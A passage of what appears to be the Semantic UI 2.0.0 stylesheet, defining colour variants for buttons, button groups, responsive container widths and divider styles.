2px #ff695e inset !important;\n  color: #ff695e;\n}\n\n.ui.inverted.red.buttons .button:hover,\n.ui.inverted.red.button:hover,\n.ui.inverted.red.buttons .button:focus,\n.ui.inverted.red.button:focus,\n.ui.inverted.red.buttons .button.active,\n.ui.inverted.red.button.active,\n.ui.inverted.red.buttons .button:active,\n.ui.inverted.red.button:active {\n  box-shadow: none !important;\n  color: #ffffff;\n}\n\n.ui.inverted.red.buttons .button:hover,\n.ui.inverted.red.button:hover {\n  background-color: #ff5144;\n}\n\n.ui.inverted.red.buttons .button:focus,\n.ui.inverted.red.button:focus {\n  background-color: #ff4335;\n}\n\n.ui.inverted.red.buttons .active.button,\n.ui.inverted.red.active.button {\n  background-color: #ff5144;\n}\n\n.ui.inverted.red.buttons .button:active,\n.ui.inverted.red.button:active {\n  background-color: #ff392b;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.red.basic.buttons .button,\n.ui.inverted.red.buttons .basic.button,\n.ui.inverted.red.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.red.basic.buttons .button:hover,\n.ui.inverted.red.buttons .basic.button:hover,\n.ui.inverted.red.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #ff5144 inset !important;\n  color: #ff695e !important;\n}\n\n.ui.inverted.red.basic.buttons .button:focus,\n.ui.inverted.red.basic.buttons .button:focus,\n.ui.inverted.red.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #ff4335 inset !important;\n  color: #ff695e !important;\n}\n\n.ui.inverted.red.basic.buttons .active.button,\n.ui.inverted.red.buttons .basic.active.button,\n.ui.inverted.red.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #ff5144 inset !important;\n  color: #ff695e !important;\n}\n\n.ui.inverted.red.basic.buttons .button:active,\n.ui.inverted.red.buttons .basic.button:active,\n.ui.inverted.red.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #ff392b inset !important;\n  color: #ff695e !important;\n}\n\n/*--- Teal ---*/\n\n.ui.teal.buttons .button,\n.ui.teal.button {\n  background-color: #00b5ad;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.teal.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.teal.buttons .button:hover,\n.ui.teal.button:hover {\n  background-color: #009c95;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.teal.buttons .button:focus,\n.ui.teal.button:focus {\n  background-color: #008c86;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.teal.buttons .button:active,\n.ui.teal.button:active {\n  background-color: #00827c;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.teal.buttons .active.button,\n.ui.teal.buttons .active.button:active,\n.ui.teal.active.button,\n.ui.teal.button .active.button:active {\n  background-color: #009c95;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.teal.buttons .button,\n.ui.basic.teal.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.teal.buttons .button:hover,\n.ui.basic.teal.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #009c95 inset !important;\n  color: #009c95 !important;\n}\n\n.ui.basic.teal.buttons .button:focus,\n.ui.basic.teal.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #008c86 inset !important;\n}\n\n.ui.basic.teal.buttons .active.button,\n.ui.basic.teal.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #009c95 inset !important;\n  color: #00827c !important;\n}\n\n.ui.basic.teal.buttons .button:active,\n.ui.basic.teal.button:active {\n  box-shadow: 0px 0px 0px 2px #00827c inset !important;\n  color: #00827c !important;\n}\n\n.ui.buttons > .basic.teal.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.teal.buttons .button,\n.ui.inverted.teal.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #6dffff inset !important;\n  color: #6dffff;\n}\n\n.ui.inverted.teal.buttons .button:hover,\n.ui.inverted.teal.button:hover,\n.ui.inverted.teal.buttons .button:focus,\n.ui.inverted.teal.button:focus,\n.ui.inverted.teal.buttons .button.active,\n.ui.inverted.teal.button.active,\n.ui.inverted.teal.buttons .button:active,\n.ui.inverted.teal.button:active {\n  box-shadow: none !important;\n  color: rgba(0, 0, 0, 0.6);\n}\n\n.ui.inverted.teal.buttons .button:hover,\n.ui.inverted.teal.button:hover {\n  background-color: #54ffff;\n}\n\n.ui.inverted.teal.buttons .button:focus,\n.ui.inverted.teal.button:focus {\n  background-color: #44ffff;\n}\n\n.ui.inverted.teal.buttons .active.button,\n.ui.inverted.teal.active.button {\n  background-color: #54ffff;\n}\n\n.ui.inverted.teal.buttons .button:active,\n.ui.inverted.teal.button:active {\n  background-color: #3affff;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.teal.basic.buttons .button,\n.ui.inverted.teal.buttons .basic.button,\n.ui.inverted.teal.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.teal.basic.buttons .button:hover,\n.ui.inverted.teal.buttons .basic.button:hover,\n.ui.inverted.teal.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #54ffff inset !important;\n  color: #6dffff !important;\n}\n\n.ui.inverted.teal.basic.buttons .button:focus,\n.ui.inverted.teal.basic.buttons .button:focus,\n.ui.inverted.teal.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #44ffff inset !important;\n  color: #6dffff !important;\n}\n\n.ui.inverted.teal.basic.buttons .active.button,\n.ui.inverted.teal.buttons .basic.active.button,\n.ui.inverted.teal.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #54ffff inset !important;\n  color: #6dffff !important;\n}\n\n.ui.inverted.teal.basic.buttons .button:active,\n.ui.inverted.teal.buttons .basic.button:active,\n.ui.inverted.teal.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #3affff inset !important;\n  color: #6dffff !important;\n}\n\n/*--- Olive ---*/\n\n.ui.olive.buttons .button,\n.ui.olive.button {\n  background-color: #b5cc18;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.olive.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.olive.buttons .button:hover,\n.ui.olive.button:hover {\n  background-color: #a7bd0d;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.olive.buttons .button:focus,\n.ui.olive.button:focus {\n  background-color: #a0b605;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.olive.buttons .button:active,\n.ui.olive.button:active {\n  background-color: #8d9e13;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.olive.buttons .active.button,\n.ui.olive.buttons .active.button:active,\n.ui.olive.active.button,\n.ui.olive.button .active.button:active {\n  background-color: #aac109;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.olive.buttons .button,\n.ui.basic.olive.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.olive.buttons .button:hover,\n.ui.basic.olive.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #a7bd0d inset !important;\n  color: #a7bd0d !important;\n}\n\n.ui.basic.olive.buttons .button:focus,\n.ui.basic.olive.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #a0b605 inset !important;\n}\n\n.ui.basic.olive.buttons .active.button,\n.ui.basic.olive.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #aac109 inset !important;\n  color: #8d9e13 !important;\n}\n\n.ui.basic.olive.buttons .button:active,\n.ui.basic.olive.button:active {\n  box-shadow: 0px 0px 0px 2px #8d9e13 inset !important;\n  color: #8d9e13 !important;\n}\n\n.ui.buttons > .basic.olive.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.olive.buttons .button,\n.ui.inverted.olive.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #d9e778 inset !important;\n  color: #d9e778;\n}\n\n.ui.inverted.olive.buttons .button:hover,\n.ui.inverted.olive.button:hover,\n.ui.inverted.olive.buttons .button:focus,\n.ui.inverted.olive.button:focus,\n.ui.inverted.olive.buttons .button.active,\n.ui.inverted.olive.button.active,\n.ui.inverted.olive.buttons .button:active,\n.ui.inverted.olive.button:active {\n  box-shadow: none !important;\n  color: rgba(0, 0, 0, 0.6);\n}\n\n.ui.inverted.olive.buttons .button:hover,\n.ui.inverted.olive.button:hover {\n  background-color: #d8ea5c;\n}\n\n.ui.inverted.olive.buttons .button:focus,\n.ui.inverted.olive.button:focus {\n  background-color: #daef47;\n}\n\n.ui.inverted.olive.buttons .active.button,\n.ui.inverted.olive.active.button {\n  background-color: #daed59;\n}\n\n.ui.inverted.olive.buttons .button:active,\n.ui.inverted.olive.button:active {\n  background-color: #cddf4d;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.olive.basic.buttons .button,\n.ui.inverted.olive.buttons .basic.button,\n.ui.inverted.olive.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.olive.basic.buttons .button:hover,\n.ui.inverted.olive.buttons .basic.button:hover,\n.ui.inverted.olive.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #d8ea5c inset !important;\n  color: #d9e778 !important;\n}\n\n.ui.inverted.olive.basic.buttons .button:focus,\n.ui.inverted.olive.basic.buttons .button:focus,\n.ui.inverted.olive.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #daef47 inset !important;\n  color: #d9e778 !important;\n}\n\n.ui.inverted.olive.basic.buttons .active.button,\n.ui.inverted.olive.buttons .basic.active.button,\n.ui.inverted.olive.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #daed59 inset !important;\n  color: #d9e778 !important;\n}\n\n.ui.inverted.olive.basic.buttons .button:active,\n.ui.inverted.olive.buttons .basic.button:active,\n.ui.inverted.olive.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #cddf4d inset !important;\n  color: #d9e778 !important;\n}\n\n/*--- Yellow ---*/\n\n.ui.yellow.buttons .button,\n.ui.yellow.button {\n  background-color: #fbbd08;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.yellow.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.yellow.buttons .button:hover,\n.ui.yellow.button:hover {\n  background-color: #eaae00;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.yellow.buttons .button:focus,\n.ui.yellow.button:focus {\n  background-color: #daa300;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.yellow.buttons .button:active,\n.ui.yellow.button:active {\n  background-color: #cd9903;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.yellow.buttons .active.button,\n.ui.yellow.buttons .active.button:active,\n.ui.yellow.active.button,\n.ui.yellow.button .active.button:active {\n  background-color: #eaae00;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/* Basic */\n\n.ui.basic.yellow.buttons .button,\n.ui.basic.yellow.button {\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset !important;\n  color: rgba(0, 0, 0, 0.6) !important;\n}\n\n.ui.basic.yellow.buttons .button:hover,\n.ui.basic.yellow.button:hover {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #eaae00 inset !important;\n  color: #eaae00 !important;\n}\n\n.ui.basic.yellow.buttons .button:focus,\n.ui.basic.yellow.button:focus {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #daa300 inset !important;\n}\n\n.ui.basic.yellow.buttons .active.button,\n.ui.basic.yellow.active.button {\n  background: transparent !important;\n  box-shadow: 0px 0px 0px 2px #eaae00 inset !important;\n  color: #cd9903 !important;\n}\n\n.ui.basic.yellow.buttons .button:active,\n.ui.basic.yellow.button:active {\n  box-shadow: 0px 0px 0px 2px #cd9903 inset !important;\n  color: #cd9903 !important;\n}\n\n.ui.buttons > .basic.yellow.button:not(:first-child) {\n  margin-left: -2px;\n}\n\n/* Inverted */\n\n.ui.inverted.yellow.buttons .button,\n.ui.inverted.yellow.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px #ffe21f inset !important;\n  color: #ffe21f;\n}\n\n.ui.inverted.yellow.buttons .button:hover,\n.ui.inverted.yellow.button:hover,\n.ui.inverted.yellow.buttons .button:focus,\n.ui.inverted.yellow.button:focus,\n.ui.inverted.yellow.buttons .button.active,\n.ui.inverted.yellow.button.active,\n.ui.inverted.yellow.buttons .button:active,\n.ui.inverted.yellow.button:active {\n  box-shadow: none !important;\n  color: rgba(0, 0, 0, 0.6);\n}\n\n.ui.inverted.yellow.buttons .button:hover,\n.ui.inverted.yellow.button:hover {\n  background-color: #ffdf05;\n}\n\n.ui.inverted.yellow.buttons .button:focus,\n.ui.inverted.yellow.button:focus {\n  background-color: #f5d500;\n}\n\n.ui.inverted.yellow.buttons .active.button,\n.ui.inverted.yellow.active.button {\n  background-color: #ffdf05;\n}\n\n.ui.inverted.yellow.buttons .button:active,\n.ui.inverted.yellow.button:active {\n  background-color: #ebcd00;\n}\n\n/* Inverted Basic */\n\n.ui.inverted.yellow.basic.buttons .button,\n.ui.inverted.yellow.buttons .basic.button,\n.ui.inverted.yellow.basic.button {\n  background-color: transparent;\n  box-shadow: 0px 0px 0px 2px rgba(255, 255, 255, 0.5) inset !important;\n  color: #ffffff !important;\n}\n\n.ui.inverted.yellow.basic.buttons .button:hover,\n.ui.inverted.yellow.buttons .basic.button:hover,\n.ui.inverted.yellow.basic.button:hover {\n  box-shadow: 0px 0px 0px 2px #ffdf05 inset !important;\n  color: #ffe21f !important;\n}\n\n.ui.inverted.yellow.basic.buttons .button:focus,\n.ui.inverted.yellow.basic.buttons .button:focus,\n.ui.inverted.yellow.basic.button:focus {\n  box-shadow: 0px 0px 0px 2px #f5d500 inset !important;\n  color: #ffe21f !important;\n}\n\n.ui.inverted.yellow.basic.buttons .active.button,\n.ui.inverted.yellow.buttons .basic.active.button,\n.ui.inverted.yellow.basic.active.button {\n  box-shadow: 0px 0px 0px 2px #ffdf05 inset !important;\n  color: #ffe21f !important;\n}\n\n.ui.inverted.yellow.basic.buttons .button:active,\n.ui.inverted.yellow.buttons .basic.button:active,\n.ui.inverted.yellow.basic.button:active {\n  box-shadow: 0px 0px 0px 2px #ebcd00 inset !important;\n  color: #ffe21f !important;\n}\n\n/*-------------------\n       Primary\n--------------------*/\n\n.ui.primary.buttons .button,\n.ui.primary.button {\n  background-color: #2185d0;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.primary.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.primary.buttons .button:hover,\n.ui.primary.button:hover {\n  background-color: #1678c2;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.primary.buttons .button:focus,\n.ui.primary.button:focus {\n  background-color: #0d71bb;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.primary.buttons .button:active,\n.ui.primary.button:active {\n  background-color: #1a69a4;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.primary.buttons .active.button,\n.ui.primary.active.button {\n  background-color: #1279c6;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/*-------------------\n      Secondary\n--------------------*/\n\n.ui.secondary.buttons .button,\n.ui.secondary.button {\n  background-color: #1b1c1d;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.secondary.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.secondary.buttons .button:hover,\n.ui.secondary.button:hover {\n  background-color: #27292a;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.secondary.buttons .button:focus,\n.ui.secondary.button:focus {\n  background-color: #2e3032;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.secondary.buttons .button:active,\n.ui.secondary.button:active {\n  background-color: #343637;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.secondary.buttons .active.button,\n.ui.secondary.active.button {\n  background-color: #27292a;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/*---------------\n    Positive\n----------------*/\n\n.ui.positive.buttons .button,\n.ui.positive.button {\n  background-color: #21ba45 !important;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.positive.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.positive.buttons .button:hover,\n.ui.positive.button:hover {\n  background-color: #16ab39 !important;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.positive.buttons .button:focus,\n.ui.positive.button:focus {\n  background-color: #0ea432 !important;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.positive.buttons .button:active,\n.ui.positive.button:active {\n  background-color: #198f35 !important;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.positive.buttons .active.button,\n.ui.positive.active.button,\n.ui.positive.buttons .active.button:active {\n  background-color: #13ae38;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/*---------------\n     Negative\n----------------*/\n\n.ui.negative.buttons .button,\n.ui.negative.button {\n  background-color: #db2828 !important;\n  color: #ffffff;\n  text-shadow: none;\n  background-image: none;\n}\n\n.ui.negative.button {\n  box-shadow: 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.negative.buttons .button:hover,\n.ui.negative.button:hover {\n  background-color: #d01919 !important;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.negative.buttons .button:focus,\n.ui.negative.button:focus {\n  background-color: #ca1010 !important;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.negative.buttons .button:active,\n.ui.negative.button:active {\n  background-color: #b21e1e !important;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n.ui.negative.buttons .active.button,\n.ui.negative.active.button,\n.ui.negative.buttons .active.button:active {\n  background-color: #d41515;\n  color: #ffffff;\n  text-shadow: none;\n}\n\n/*******************************\n            Groups\n*******************************/\n\n.ui.buttons {\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n  font-size: 0em;\n  vertical-align: baseline;\n  margin: 0em 0.25em 0em 0em;\n}\n\n.ui.buttons:not(.basic):not(.inverted) {\n  box-shadow: none;\n}\n\n/* Clearfix */\n\n.ui.buttons:after {\n  content: \".\";\n  display: block;\n  height: 0;\n  clear: both;\n  visibility: hidden;\n}\n\n/* Standard Group */\n\n.ui.buttons .button {\n  -webkit-box-flex: 1;\n  -webkit-flex: 1 0 auto;\n  -ms-flex: 1 0 auto;\n  flex: 1 0 auto;\n  margin: 0em;\n  border-radius: 0em;\n  margin: 0px 0px 0px 0px;\n}\n\n.ui.buttons > .ui.button:not(.basic):not(.inverted),\n.ui.buttons:not(.basic):not(.inverted) > .button {\n  box-shadow: 0px 0px 0px 1px transparent inset, 0px 0em 0px 0px rgba(34, 36, 38, 0.15) inset;\n}\n\n.ui.buttons .button:first-child {\n  border-left: none;\n  margin-left: 0em;\n  border-top-left-radius: 0.28571429rem;\n  border-bottom-left-radius: 0.28571429rem;\n}\n\n.ui.buttons .button:last-child {\n  border-top-right-radius: 0.28571429rem;\n  border-bottom-right-radius: 0.28571429rem;\n}\n\n/* Vertical  Style */\n\n.ui.vertical.buttons {\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n}\n\n.ui.vertical.buttons .button {\n  display: block;\n  float: none;\n  width: 100%;\n  margin: 0px 0px 0px 0px;\n  box-shadow: none;\n}\n\n.ui.vertical.buttons .button:first-child,\n.ui.vertical.buttons .mini.button:first-child,\n.ui.vertical.buttons .tiny.button:first-child,\n.ui.vertical.buttons .small.button:first-child,\n.ui.vertical.buttons .massive.button:first-child,\n.ui.vertical.buttons .huge.button:first-child {\n  border-radius: 0.28571429rem 0.28571429rem 0px 0px;\n}\n\n.ui.vertical.buttons .button:last-child,\n.ui.vertical.buttons .mini.button:last-child,\n.ui.vertical.buttons .tiny.button:last-child,\n.ui.vertical.buttons .small.button:last-child,\n.ui.vertical.buttons .massive.button:last-child,\n.ui.vertical.buttons .huge.button:last-child,\n.ui.vertical.buttons .gigantic.button:last-child {\n  margin-bottom: 0px;\n  border-radius: 0px 0px 0.28571429rem 0.28571429rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Container\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Container\n*******************************/\n\n/* All Sizes */\n\n.ui.container {\n  display: block;\n  max-width: 100% !important;\n}\n\n/* Mobile */\n\n@media only screen and (max-width: 767px) {\n  .ui.container {\n    width: auto;\n    margin-left: 1em !important;\n    margin-right: 1em !important;\n  }\n\n  .ui.grid.container {\n    width: auto !important;\n  }\n}\n\n/* Tablet */\n\n@media only screen and (min-width: 768px) and (max-width: 991px) {\n  .ui.container {\n    width: 723px;\n    margin-left: auto !important;\n    margin-right: auto !important;\n  }\n\n  .ui.grid.container {\n    width: calc( 723px  +  2em ) !important;\n  }\n}\n\n/* Small Monitor */\n\n@media only screen and (min-width: 992px) and (max-width: 1199px) {\n  .ui.container {\n    width: 933px;\n    margin-left: auto !important;\n    margin-right: auto !important;\n  }\n\n  .ui.grid.container {\n    width: calc( 933px  +  2em ) !important;\n  }\n}\n\n/* Large Monitor */\n\n@media only screen and (min-width: 1200px) {\n  .ui.container {\n    width: 1127px;\n    margin-left: auto !important;\n    margin-right: auto !important;\n  }\n\n  .ui.grid.container {\n    width: calc( 1127px  +  2em ) !important;\n  }\n}\n\n/*******************************\n             Types\n*******************************/\n\n/* Text Container */\n\n.ui.text.container {\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  max-width: 700px !important;\n  line-height: 1.5;\n}\n\n.ui.text.container {\n  font-size: 1.14285714rem;\n}\n\n/* Fluid */\n\n.ui.fluid.container {\n  width: 100%;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n.ui[class*=\"left aligned\"].container {\n  text-align: left;\n}\n\n.ui[class*=\"center aligned\"].container {\n  text-align: center;\n}\n\n.ui[class*=\"right aligned\"].container {\n  text-align: right;\n}\n\n.ui.justified.container {\n  text-align: justify;\n  -webkit-hyphens: auto;\n  -moz-hyphens: auto;\n  -ms-hyphens: auto;\n  hyphens: auto;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Divider\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Divider\n*******************************/\n\n.ui.divider {\n  margin: 1rem 0rem;\n  line-height: 1;\n  height: 0em;\n  font-weight: bold;\n  text-transform: uppercase;\n  letter-spacing: 0.05em;\n  color: rgba(0, 0, 0, 0.85);\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\n\n/*--------------\n      Basic\n---------------*/\n\n.ui.divider:not(.vertical):not(.horizontal) {\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n  border-bottom: 1px solid rgba(255, 255, 255, 0.1);\n}\n\n/*--------------\n    Coupling\n---------------*/\n\n.ui.grid > .ui.divider {\n  font-size: 1rem;\n}\n\n/*--------------\n   Horizontal\n---------------*/\n\n.ui.horizontal.divider {\n  display: table;\n  white-space: nowrap;\n  height: auto;\n  margin: '';\n  overflow: hidden;\n  line-height: 1;\n  text-align: center;\n}\n\n.ui.horizontal.divider:before,\n.ui.horizontal.divider:after {\n  content: '';\n  display: table-cell;\n  position: relative;\n  top: 50%;\n  width: 50%;\n  background-repeat: no-repeat;\n}\n\n.ui.horizontal.divider:before {\n  background-position: right 1em top 50%;\n}\n\n.ui.horizontal.divider:after {\n  background-position: left 1em top 50%;\n}\n\n/*--------------\n    Vertical\n---------------*/\n\n.ui.vertical.divider {\n  position: absolute;\n  z-index: 2;\n  top: 50%;\n  left: 50%;\n  margin: 0rem;\n  padding: 0em;\n  width: auto;\n  height: 50%;\n  line-height: 0em;\n  text-align: center;\n  -webkit-transform: translateX(-50%);\n  -ms-transform: translateX(-50%);\n  transform: translateX(-50%);\n}\n\n.ui.vertical.divider:before,\n.ui.vertical.divider:after {\n  position: absolute;\n  left: 50%;\n  content: '';\n  z-index: 3;\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n  border-right: 1px solid rgba(255, 255, 255, 0.1);\n  width: 0%;\n  height: calc(100% -  1rem );\n}\n\n.ui.vertical.divider:before {\n  top: -100%;\n}\n\n.ui.vertical.divider:after {\n  top: auto;\n  bottom: 0px;\n}\n\n/* Inside grid */\n\n@media only screen and (max-width: 767px) {\n  .ui.stackable.grid .ui.vertical.divider,\n  .ui.grid .stackable.row .ui.vertical.divider {\n    display: table;\n    white-space: nowrap;\n    height: auto;\n    margin: '';\n    overflow: hidden;\n    line-height: 1;\n    text-align: center;\n    position: static;\n    top: 0;\n    left: 0;\n    -webkit-transform: none;\n    -ms-transform: none;\n    transform: none;\n  }\n\n  .ui.stackable.grid .ui.vertical.divider:before,\n  .ui.grid .stackable.row .ui.vertical.divider:before,\n  .ui.stackable.grid .ui.vertical.divider:after,\n  .ui.grid .stackable.row .ui.vertical.divider:after {\n    position: static;\n    left: 0;\n    border-left: none;\n    content: '';\n    display: table-cell;\n    position: relative;\n    top: 50%;\n    width: 50%;\n    background-repeat: no-repeat;\n  }\n\n  .ui.stackable.grid .ui.vertical.divider:before,\n  .ui.grid .stackable.row .ui.vertical.divider:before {\n    background-position: right 1em top 50%;\n  }\n\n  .ui.stackable.grid .ui.vertical.divider:after,\n  .ui.grid .stackable.row .ui.vertical.divider:after {\n    background-position: left 1em top 50%;\n  }\n}\n\n/*--------------\n      Icon\n---------------*/\n\n.ui.divider > .icon {\n  margin: 0rem;\n  font-size: 1rem;\n  height: 1em;\n  vertical-align: middle;\n}\n\n/*******************************\n          Variations\n*******************************/\n\n/*--------------\n    Hidden\n---------------*/\n\n.ui.hidden.divider {\n  border-color: transparent !important;\n}\n\n.ui.hidden.divider:before,\n.ui.hidden.divider:after {\n  display: none;\n}\n\n/*--------------\n    Inverted\n---------------*/\n\n.ui.divider.inverted,\n.ui.vertical.inverted.divider,\n.ui.horizontal.inverted.divider {\n  color: #ffffff;\n}\n\n.ui.divider.inverted,\n.ui.divider.inverted:after,\n.ui.divider.inverted:before {\n  border-top-color: rgba(34, 36, 38, 0.15) !important;\n  border-left-color: rgba(34, 36, 38, 0.15) !important;\n  border-bottom-color: rgba(255, 255, 255, 0.15) !important;\n  border-right-color: rgba(255, 255, 255, 0.15) !important;\n}\n\n/*--------------\n    Fitted\n---------------*/\n\n.ui.fitted.divider {\n  margin: 0em;\n}\n\n/*--------------\n    Clearing\n---------------*/\n\n.ui.clearing.divider {\n  clear: both;\n}\n\n/*--------------\n    Section\n---------------*/\n\n.ui.section.divider {\n  margin-top: 2rem;\n  margin-bottom: 2rem;\n}\n\n/*--------------\n     Sizes\n---------------*/\n\n.ui.divider {\n  font-size: 1rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n.ui.horizontal.divider:before,\n.ui.horizontal.divider:after {\n  background-image: 